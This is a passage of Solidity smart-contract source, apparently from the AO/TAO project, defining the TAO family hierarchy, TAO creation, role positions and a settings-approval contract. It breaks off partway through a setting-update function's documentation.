// Event to be broadcasted to public when a TAO approves a child TAO event ApproveChild(address indexed taoId, address childId, uint256 nonce); // Event to be broadcasted to public when a TAO removes a child TAO event RemoveChild(address indexed taoId, address childId, uint256 nonce); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress, address _taoFactoryAddress) TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public { taoFactoryAddress = _taoFactoryAddress; _taoFactory = TAOFactory(_taoFactoryAddress); } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == taoFactoryAddress); _; } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a TAO ID exist in the list of families * @param _id The ID to be checked * @return true if yes, false otherwise */ function isExist(address _id) public view returns (bool) { return families[_id].taoId != address(0); } /** * @dev Store the Family info for a TAO * @param _id The ID of the TAO * @param _parentId The parent ID of this TAO * @param _childMinLogos The min required Logos to create a TAO * @return true on success */ function add(address _id, address _parentId, uint256 _childMinLogos) public isTAO(_id) isNameOrTAO(_parentId) onlyFactory returns (bool) { require (!isExist(_id)); Family storage _family = families[_id]; _family.taoId = _id; _family.parentId = _parentId; _family.childMinLogos = _childMinLogos; return true; } /** * @dev Get Family info given a TAO ID * @param _id The ID of the TAO * @return the parent ID of this TAO (could be a Name/TAO) * @return the min required Logos to create a child TAO * @return the total child TAOs count */ function getFamilyById(address _id) public view returns (address, uint256, uint256) { require (isExist(_id)); Family memory _family = families[_id]; return ( _family.parentId, _family.childMinLogos, _family.totalChildren ); } /** * @dev Set min required Logos to create a child from this TAO * @param _childMinLogos The min Logos to set * @return the nonce for this transaction */ function updateChildMinLogos(address _id, uint256 _childMinLogos) public isTAO(_id) senderIsName() onlyAdvocate(_id) { require (isExist(_id)); Family storage _family = families[_id]; _family.childMinLogos = _childMinLogos; uint256 _nonce = _taoFactory.incrementNonce(_id); require (_nonce > 0); emit UpdateChildMinLogos(_id, _family.childMinLogos, _nonce); } /** * @dev Check if `_childId` is a child TAO of `_taoId` * @param _taoId The TAO ID to be checked * @param _childId The child TAO ID to check * @return true if yes. Otherwise return false. */ function isChild(address _taoId, address _childId) public view returns (bool) { require (isExist(_taoId) && isExist(_childId)); Family storage _family = families[_taoId]; Family memory _childFamily = families[_childId]; uint256 _childInternalId = _family.childInternalIdLookup[_childId]; return ( _childInternalId > 0 && _family.children[_childInternalId].approved && _family.children[_childInternalId].connected && _childFamily.parentId == _taoId ); } /** * @dev Add child TAO * @param _taoId The TAO ID to be added to * @param _childId The ID to be added to as child TAO */ function addChild(address _taoId, address _childId) public isTAO(_taoId) isTAO(_childId) onlyFactory returns (bool) { require (!isChild(_taoId, _childId)); Family storage _family = families[_taoId]; require (_family.childInternalIdLookup[_childId] == 0); _family.childInternalId++; _family.childInternalIdLookup[_childId] = _family.childInternalId; uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); Child storage _child = _family.children[_family.childInternalId]; _child.taoId = _childId; // If _taoId's Advocate == _childId's Advocate, then the child is automatically approved and connected // Otherwise, child TAO needs parent TAO approval address _taoAdvocate = _nameTAOPosition.getAdvocate(_taoId); address _childAdvocate = _nameTAOPosition.getAdvocate(_childId); if (_taoAdvocate == _childAdvocate) { _family.totalChildren++; _child.approved = true; _child.connected = true; Family storage _childFamily = families[_childId]; _childFamily.parentId = _taoId; } emit AddChild(_taoId, _childId, _child.approved, _child.connected, _nonce); return true; } /** * @dev Advocate of `_taoId` approves child `_childId` * @param _taoId The TAO ID to be checked * @param _childId The child TAO ID to be approved */ function approveChild(address _taoId, address _childId) public isTAO(_taoId) isTAO(_childId) senderIsName() onlyAdvocate(_taoId) { require (isExist(_taoId) && isExist(_childId)); Family storage _family = families[_taoId]; Family storage _childFamily = families[_childId]; uint256 _childInternalId = _family.childInternalIdLookup[_childId]; require (_childInternalId > 0 && !_family.children[_childInternalId].approved && !_family.children[_childInternalId].connected ); _family.totalChildren++; Child storage _child = _family.children[_childInternalId]; _child.approved = true; _child.connected = true; _childFamily.parentId = _taoId; uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); emit ApproveChild(_taoId, _childId, _nonce); } /** * @dev Advocate of `_taoId` removes child `_childId` * @param _taoId The TAO ID to be checked * @param _childId The child TAO ID to be removed */ function removeChild(address _taoId, address _childId) public isTAO(_taoId) isTAO(_childId) senderIsName() onlyAdvocate(_taoId) { require (isChild(_taoId, _childId)); Family storage _family = families[_taoId]; _family.totalChildren--; Child storage _child = _family.children[_family.childInternalIdLookup[_childId]]; _child.connected = false; _family.childInternalIdLookup[_childId] = 0; Family storage _childFamily = families[_childId]; _childFamily.parentId = address(0); uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); emit RemoveChild(_taoId, _childId, _nonce); } /** * @dev Get list of child TAO IDs * @param _taoId The TAO ID to be checked * @param _from The starting index (start from 1) * @param _to The ending index, (max is childInternalId) * @return list of child TAO IDs */ function getChildIds(address _taoId, uint256 _from, uint256 _to) public view returns (address[]) { require (isExist(_taoId)); Family storage _family = families[_taoId]; require (_from >= 1 && _to >= _from && _family.childInternalId >= _to); address[] memory _childIds = new address[](_to.sub(_from).add(1)); for (uint256 i = _from; i <= _to; i++) { _childIds[i.sub(_from)] = _family.children[i].approved && _family.children[i].connected ? _family.children[i].taoId : address(0); } return _childIds; } } // Store TAO's child information /** * @title TAOFactory * * The purpose of this contract is to allow node to create TAO */ contract TAOFactory is TheAO, TAOController { using SafeMath for uint256; address[] internal taos; address public taoFamilyAddress; address public nameTAOVaultAddress; address public settingTAOId; NameTAOLookup internal _nameTAOLookup; TAOFamily internal _taoFamily; AOSetting internal _aoSetting; Logos internal _logos; // Mapping from TAO ID to its nonce mapping (address => uint256) public nonces; // Event to be broadcasted to public when Advocate creates a TAO event CreateTAO(address indexed ethAddress, address advocateId, address taoId, uint256 index, address parent, uint8 parentTypeId); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOLookupAddress, address _nameTAOPositionAddress, address _aoSettingAddress, address _logosAddress, address _nameTAOVaultAddress) TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public { nameTAOPositionAddress = _nameTAOPositionAddress; nameTAOVaultAddress = _nameTAOVaultAddress; _nameTAOLookup = NameTAOLookup(_nameTAOLookupAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); _aoSetting = AOSetting(_aoSettingAddress); _logos = Logos(_logosAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if calling address can update TAO's nonce */ modifier canUpdateNonce { require (msg.sender == nameTAOPositionAddress || msg.sender == taoFamilyAddress); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the TAOFamily Address * @param _taoFamilyAddress The address of TAOFamily */ function setTAOFamilyAddress(address _taoFamilyAddress) public onlyTheAO { require (_taoFamilyAddress != address(0)); taoFamilyAddress = _taoFamilyAddress; _taoFamily = TAOFamily(taoFamilyAddress); } /** * @dev The AO set settingTAOId (The TAO ID that holds the setting values) * @param _settingTAOId The address of settingTAOId */ function setSettingTAOId(address _settingTAOId) public onlyTheAO isTAO(_settingTAOId) { settingTAOId = _settingTAOId; } /***** PUBLIC METHODS *****/ /** * @dev Increment the nonce of a TAO * @param _taoId The ID of the TAO * @return current nonce */ function incrementNonce(address _taoId) public canUpdateNonce returns (uint256) { // Check if _taoId exist require (nonces[_taoId] > 0); nonces[_taoId]++; return nonces[_taoId]; } /** * @dev Name creates a TAO * @param _name The name of the TAO * @param _datHash The datHash of this TAO * @param _database The database for this TAO * @param _keyValue The key/value pair to be checked on the database * @param _contentId The contentId related to this TAO * @param _parentId The parent of this TAO (has to be a Name or TAO) * @param _childMinLogos The min required Logos to create a child from this TAO */ function createTAO( string _name, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _parentId, uint256 _childMinLogos ) public senderIsName() isNameOrTAO(_parentId) { require (bytes(_name).length > 0); require (!_nameTAOLookup.isExist(_name)); address _nameId = _nameFactory.ethAddressToNameId(msg.sender); uint256 _parentCreateChildTAOMinLogos; uint256 _createChildTAOMinLogos = _getSettingVariables(); if (AOLibrary.isTAO(_parentId)) { (, _parentCreateChildTAOMinLogos,) = _taoFamily.getFamilyById(_parentId); } if (_parentCreateChildTAOMinLogos > 0) { require (_logos.sumBalanceOf(_nameId) >= _parentCreateChildTAOMinLogos); } else if (_createChildTAOMinLogos > 0) { require (_logos.sumBalanceOf(_nameId) >= _createChildTAOMinLogos); } // Create the TAO address taoId = new TAO(_name, _nameId, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress); // Increment the nonce nonces[taoId]++; // Store the name lookup information require (_nameTAOLookup.add(_name, taoId, TAO(_parentId).name(), 0)); // Store the Advocate/Listener/Speaker information require (_nameTAOPosition.add(taoId, _nameId, _nameId, _nameId)); require (_taoFamily.add(taoId, _parentId, _childMinLogos)); taos.push(taoId); emit CreateTAO(msg.sender, _nameId, taoId, taos.length.sub(1), _parentId, TAO(_parentId).typeId()); if (AOLibrary.isTAO(_parentId)) { require (_taoFamily.addChild(_parentId, taoId)); } } /** * @dev Get TAO information * @param _taoId The ID of the TAO to be queried * @return The name of the TAO * @return The origin Name ID that created the TAO * @return The name of Name that created the TAO * @return The datHash of the TAO * @return The database of the TAO * @return The keyValue of the TAO * @return The contentId of the TAO * @return The typeId of the TAO */ function getTAO(address _taoId) public view returns (string, address, string, string, string, string, bytes32, uint8) { TAO _tao = TAO(_taoId); return ( _tao.name(), _tao.originId(), Name(_tao.originId()).name(), _tao.datHash(), _tao.database(), _tao.keyValue(), _tao.contentId(), _tao.typeId() ); } /** * @dev Get total TAOs count * @return total TAOs count */ function getTotalTAOsCount() public view returns (uint256) { return taos.length; } /** * @dev Get list of TAO IDs * @param _from The starting index * @param _to The ending index * @return list of TAO IDs */ function getTAOIds(uint256 _from, uint256 _to) public view returns (address[]) { require (_from >= 0 && _to >= _from && taos.length > _to); address[] memory _taos = new address[](_to.sub(_from).add(1)); for (uint256 i = _from; i <= _to; i++) { _taos[i.sub(_from)] = taos[i]; } return _taos; } /** * @dev Check whether or not the signature is valid * @param _data The signed string data * @param _nonce The signed uint256 nonce (should be TAO's current nonce + 1) * @param _validateAddress The ETH address to be validated (optional) * @param _name The Name of the TAO * @param _signatureV The V part of the signature * @param _signatureR The R part of the signature * @param _signatureS The S part of the signature * @return true if valid. false otherwise * @return The name of the Name that created the signature * @return The Position of the Name that created the signature. * 0 == unknown. 1 == Advocate. 2 == Listener. 3 == Speaker */ function validateTAOSignature( string _data, uint256 _nonce, address _validateAddress, string _name, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS ) public isTAO(_getTAOIdByName(_name)) view returns (bool, string, uint256) { address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS); if (_isTAOSignatureAddressValid(_validateAddress, _signatureAddress, _getTAOIdByName(_name), _nonce)) { return (true, Name(_nameFactory.ethAddressToNameId(_signatureAddress)).name(), _nameTAOPosition.determinePosition(_signatureAddress, _getTAOIdByName(_name))); } else { return (false, "", 0); } } /***** INTERNAL METHOD *****/ /** * @dev Check whether or not the address recovered from the signature is valid * @param _validateAddress The ETH address to be validated (optional) * @param _signatureAddress The address recovered from the signature * @param _taoId The ID of the TAO * @param _nonce The signed uint256 nonce * @return true if valid. false otherwise */ function _isTAOSignatureAddressValid( address _validateAddress, address _signatureAddress, address _taoId, uint256 _nonce ) internal view returns (bool) { if (_validateAddress != address(0)) { return (_nonce == nonces[_taoId].add(1) && _signatureAddress == _validateAddress && _nameTAOPosition.senderIsPosition(_validateAddress, _taoId) ); } else { return ( _nonce == nonces[_taoId].add(1) && _nameTAOPosition.senderIsPosition(_signatureAddress, _taoId) ); } } /** * @dev Internal function to get the TAO Id by name * @param _name The name of the TAO * @return the TAO ID */ function _getTAOIdByName(string _name) internal view returns (address) { return _nameTAOLookup.getAddressByName(_name); } /** * @dev Get setting variables * @return createChildTAOMinLogos The minimum required Logos to create a TAO */ function _getSettingVariables() internal view returns (uint256) { (uint256 createChildTAOMinLogos,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'createChildTAOMinLogos'); return createChildTAOMinLogos; } } /** * @title NameTAOPosition */ contract NameTAOPosition is TheAO { address public nameFactoryAddress; address public taoFactoryAddress; NameFactory internal _nameFactory; TAOFactory internal _taoFactory; struct Position { address advocateId; address listenerId; address speakerId; bool created; } mapping (address => Position) internal positions; // Event to be broadcasted to public when current Advocate of TAO sets New Advocate event SetAdvocate(address indexed taoId, address oldAdvocateId, address newAdvocateId, uint256 nonce); // Event to be broadcasted to public when current Advocate of Name/TAO sets New Listener event SetListener(address indexed taoId, address oldListenerId, address newListenerId, uint256 nonce); // Event to be broadcasted to public when current Advocate of Name/TAO sets New Speaker event SetSpeaker(address indexed taoId, address oldSpeakerId, address newSpeakerId, uint256 nonce); /** * @dev Constructor function */ constructor(address _nameFactoryAddress) public { nameFactoryAddress = _nameFactoryAddress; _nameFactory = NameFactory(_nameFactoryAddress); nameTAOPositionAddress = address(this); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress); _; } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if `_id` is a Name or a TAO */ modifier isNameOrTAO(address _id) { require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id)); _; } /** * @dev Check is msg.sender address is a Name */ modifier senderIsName() { require (_nameFactory.ethAddressToNameId(msg.sender) != address(0)); _; } /** * @dev Check if msg.sender is the current advocate of a Name/TAO ID */ modifier onlyAdvocate(address _id) { require (senderIsAdvocate(msg.sender, _id)); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the taoFactoryAddress Address * @param _taoFactoryAddress The address of TAOFactory */ function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO { require (_taoFactoryAddress != address(0)); taoFactoryAddress = _taoFactoryAddress; _taoFactory = TAOFactory(_taoFactoryAddress); } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a Name/TAO ID exist in the list * @param _id The ID to be checked * @return true if yes, false otherwise */ function isExist(address _id) public view returns (bool) { return positions[_id].created; } /** * @dev Check whether or not eth address is advocate of _id * @param _sender The eth address to check * @param _id The ID to be checked * @return true if yes, false otherwise */ function senderIsAdvocate(address _sender, address _id) public view returns (bool) { return (positions[_id].created && positions[_id].advocateId == _nameFactory.ethAddressToNameId(_sender)); } /** * @dev Check whether or not eth address is either Advocate/Listener/Speaker of _id * @param _sender The eth address to check * @param _id The ID to be checked * @return true if yes, false otherwise */ function senderIsPosition(address _sender, address _id) public view returns (bool) { address _nameId = _nameFactory.ethAddressToNameId(_sender); if (_nameId == address(0)) { return false; } else { return (positions[_id].created && (positions[_id].advocateId == _nameId || positions[_id].listenerId == _nameId || positions[_id].speakerId == _nameId ) ); } } /** * @dev Check whether or not _nameId is advocate of _id * @param _nameId The name ID to be checked * @param _id The ID to be checked * @return true if yes, false otherwise */ function nameIsAdvocate(address _nameId, address _id) public view returns (bool) { return (positions[_id].created && positions[_id].advocateId == _nameId); } /** * @dev Determine whether or not `_sender` is Advocate/Listener/Speaker of the Name/TAO * @param _sender The ETH address that to check * @param _id The ID of the Name/TAO * @return 1 if Advocate. 2 if Listener. 3 if Speaker */ function determinePosition(address _sender, address _id) public view returns (uint256) { require (senderIsPosition(_sender, _id)); Position memory _position = positions[_id]; address _nameId = _nameFactory.ethAddressToNameId(_sender); if (_nameId == _position.advocateId) { return 1; } else if (_nameId == _position.listenerId) { return 2; } else { return 3; } } /** * @dev Add Position for a Name/TAO * @param _id The ID of the Name/TAO * @param _advocateId The Advocate ID of the Name/TAO * @param _listenerId The Listener ID of the Name/TAO * @param _speakerId The Speaker ID of the Name/TAO * @return true on success */ function add(address _id, address _advocateId, address _listenerId, address _speakerId) public isNameOrTAO(_id) isName(_advocateId) isNameOrTAO(_listenerId) isNameOrTAO(_speakerId) onlyFactory returns (bool) { require (!isExist(_id)); Position storage _position = positions[_id]; _position.advocateId = _advocateId; _position.listenerId = _listenerId; _position.speakerId = _speakerId; _position.created = true; return true; } /** * @dev Get Name/TAO's Position info * @param _id The ID of the Name/TAO * @return the Advocate ID of Name/TAO * @return the Listener ID of Name/TAO * @return the Speaker ID of Name/TAO */ function getPositionById(address _id) public view returns (address, address, address) { require (isExist(_id)); Position memory _position = positions[_id]; return ( _position.advocateId, _position.listenerId, _position.speakerId ); } /** * @dev Get Name/TAO's Advocate * @param _id The ID of the Name/TAO * @return the Advocate ID of Name/TAO */ function getAdvocate(address _id) public view returns (address) { require (isExist(_id)); Position memory _position = positions[_id]; return _position.advocateId; } /** * @dev Get Name/TAO's Listener * @param _id The ID of the Name/TAO * @return the Listener ID of Name/TAO */ function getListener(address _id) public view returns (address) { require (isExist(_id)); Position memory _position = positions[_id]; return _position.listenerId; } /** * @dev Get Name/TAO's Speaker * @param _id The ID of the Name/TAO * @return the Speaker ID of Name/TAO */ function getSpeaker(address _id) public view returns (address) { require (isExist(_id)); Position memory _position = positions[_id]; return _position.speakerId; } /** * @dev Set Advocate for a TAO * @param _taoId The ID of the TAO * @param _newAdvocateId The new advocate ID to be set */ function setAdvocate(address _taoId, address _newAdvocateId) public isTAO(_taoId) isName(_newAdvocateId) senderIsName() onlyAdvocate(_taoId) { Position storage _position = positions[_taoId]; address _currentAdvocateId = _position.advocateId; _position.advocateId = _newAdvocateId; uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); emit SetAdvocate(_taoId, _currentAdvocateId, _position.advocateId, _nonce); } /** * @dev Set Listener for a Name/TAO * @param _id The ID of the Name/TAO * @param _newListenerId The new listener ID to be set */ function setListener(address _id, address _newListenerId) public isNameOrTAO(_id) isNameOrTAO(_newListenerId) senderIsName() onlyAdvocate(_id) { // If _id is a Name, then new Listener can only be a Name // If _id is a TAO, then new Listener can be a TAO/Name bool _isName = false; if (AOLibrary.isName(_id)) { _isName = true; require (AOLibrary.isName(_newListenerId)); } Position storage _position = positions[_id]; address _currentListenerId = _position.listenerId; _position.listenerId = _newListenerId; if (_isName) { uint256 _nonce = _nameFactory.incrementNonce(_id); } else { _nonce = _taoFactory.incrementNonce(_id); } emit SetListener(_id, _currentListenerId, _position.listenerId, _nonce); } /** * @dev Set Speaker for a Name/TAO * @param _id The ID of the Name/TAO * @param _newSpeakerId The new speaker ID to be set */ function setSpeaker(address _id, address _newSpeakerId) public isNameOrTAO(_id) isNameOrTAO(_newSpeakerId) senderIsName() onlyAdvocate(_id) { // If _id is a Name, then new Speaker can only be a Name // If _id is a TAO, then new Speaker can be a TAO/Name bool _isName = false; if (AOLibrary.isName(_id)) { _isName = true; require (AOLibrary.isName(_newSpeakerId)); } Position storage _position = positions[_id]; address _currentSpeakerId = _position.speakerId; _position.speakerId = _newSpeakerId; if (_isName) { uint256 _nonce = _nameFactory.incrementNonce(_id); } else { _nonce = _taoFactory.incrementNonce(_id); } emit SetSpeaker(_id, _currentSpeakerId, _position.speakerId, _nonce); } } /** * @title AOSetting * * This contract stores all AO setting variables */ contract AOSetting { address public aoSettingAttributeAddress; address public aoUintSettingAddress; address public aoBoolSettingAddress; address public aoAddressSettingAddress; address public aoBytesSettingAddress; address public aoStringSettingAddress; NameFactory internal _nameFactory; NameTAOPosition internal _nameTAOPosition; AOSettingAttribute internal _aoSettingAttribute; AOUintSetting internal _aoUintSetting; AOBoolSetting internal _aoBoolSetting; AOAddressSetting internal _aoAddressSetting; AOBytesSetting internal _aoBytesSetting; AOStringSetting internal _aoStringSetting; uint256 public totalSetting; /** * Mapping from associatedTAOId's setting name to Setting ID. * * Instead of concatenating the associatedTAOID and setting name to create a unique ID for lookup, * use nested mapping to achieve the same result. * * The setting's name needs to be converted to bytes32 since solidity does not support mapping by string. */ mapping (address => mapping (bytes32 => uint256)) internal nameSettingLookup; // Mapping from updateHashKey to it's settingId mapping (bytes32 => uint256) public updateHashLookup; // Event to be broadcasted to public when a setting is created and waiting for approval event SettingCreation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, string settingName, uint8 settingType, bytes32 associatedTAOSettingId, bytes32 creatorTAOSettingId); // Event to be broadcasted to public when setting creation is approved/rejected by the advocate of associatedTAOId event ApproveSettingCreation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved); // Event to be broadcasted to public when setting creation is finalized by the advocate of creatorTAOId event FinalizeSettingCreation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate); // Event to be broadcasted to public when a proposed update for a setting is created event SettingUpdate(uint256 indexed settingId, address indexed updateAdvocateNameId, address proposalTAOId); // Event to be broadcasted to public when setting update is approved/rejected by the advocate of proposalTAOId event ApproveSettingUpdate(uint256 indexed settingId, address proposalTAOId, address proposalTAOAdvocate, bool approved); // Event to be broadcasted to public when setting update is finalized by the advocate of associatedTAOId event FinalizeSettingUpdate(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate); // Event to be broadcasted to public when a setting deprecation is created and waiting for approval event SettingDeprecation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, uint256 newSettingId, address newSettingContractAddress, bytes32 associatedTAOSettingDeprecationId, bytes32 creatorTAOSettingDeprecationId); // Event to be broadcasted to public when setting deprecation is approved/rejected by the advocate of associatedTAOId event ApproveSettingDeprecation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved); // Event to be broadcasted to public when setting deprecation is finalized by the advocate of creatorTAOId event FinalizeSettingDeprecation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress, address _aoSettingAttributeAddress, address _aoUintSettingAddress, address _aoBoolSettingAddress, address _aoAddressSettingAddress, address _aoBytesSettingAddress, address _aoStringSettingAddress) public { aoSettingAttributeAddress = _aoSettingAttributeAddress; aoUintSettingAddress = _aoUintSettingAddress; aoBoolSettingAddress = _aoBoolSettingAddress; aoAddressSettingAddress = _aoAddressSettingAddress; aoBytesSettingAddress = _aoBytesSettingAddress; aoStringSettingAddress = _aoStringSettingAddress; _nameFactory = NameFactory(_nameFactoryAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); _aoSettingAttribute = AOSettingAttribute(_aoSettingAttributeAddress); _aoUintSetting = AOUintSetting(_aoUintSettingAddress); _aoBoolSetting = AOBoolSetting(_aoBoolSettingAddress); _aoAddressSetting = AOAddressSetting(_aoAddressSettingAddress); _aoBytesSetting = AOBytesSetting(_aoBytesSettingAddress); _aoStringSetting = AOStringSetting(_aoStringSettingAddress); } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_settingName` of `_associatedTAOId` is taken */ modifier settingNameNotTaken(string _settingName, address _associatedTAOId) { require (settingNameExist(_settingName, _associatedTAOId) == false); _; } /** * @dev Check if msg.sender is the current advocate of Name ID */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } /***** Public Methods *****/ /** * @dev Check whether or not a setting name of an associatedTAOId exist * @param _settingName The human-readable name of the setting * @param _associatedTAOId The taoId that the setting affects * @return true if yes. false otherwise */ function settingNameExist(string _settingName, address _associatedTAOId) public view returns (bool) { return (nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] > 0); } /** * @dev Advocate of _creatorTAOId adds a uint setting * @param _settingName The human-readable name of the setting * @param _value The uint256 value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addUintSetting(string _settingName, uint256 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoUintSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 1, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds a bool setting * @param _settingName The human-readable name of the setting * @param _value The bool value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addBoolSetting(string _settingName, bool _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoBoolSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 2, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds an address setting * @param _settingName The human-readable name of the setting * @param _value The address value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addAddressSetting(string _settingName, address _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoAddressSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 3, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds a bytes32 setting * @param _settingName The human-readable name of the setting * @param _value The bytes32 value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addBytesSetting(string _settingName, bytes32 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoBytesSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 4, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds a string setting * @param _settingName The human-readable name of the setting * @param _value The string value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addStringSetting(string _settingName, string _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoStringSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 5, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of Setting's _associatedTAOId approves setting creation * @param _settingId The ID of the setting to approve * @param _approved Whether to approve or reject */ function approveSettingCreation(uint256 _settingId, bool _approved) public { address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.approveAdd(_settingId, _associatedTAOAdvocate, _approved)); (,,,address _associatedTAOId, string memory _settingName,,,,,) = _aoSettingAttribute.getSettingData(_settingId); if (!_approved) { // Clear the settingName from nameSettingLookup so it can be added again in the future delete nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))]; } emit ApproveSettingCreation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved); } /** * @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved * @param _settingId The ID of the setting to be finalized */ function finalizeSettingCreation(uint256 _settingId) public { address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.finalizeAdd(_settingId, _creatorTAOAdvocate)); (,,address _creatorTAOId,,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId); _movePendingToSetting(_settingId, _settingType); emit FinalizeSettingCreation(_settingId, _creatorTAOId, _creatorTAOAdvocate); } /** * @dev Advocate of Setting's _associatedTAOId submits a uint256 setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new uint256 value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param 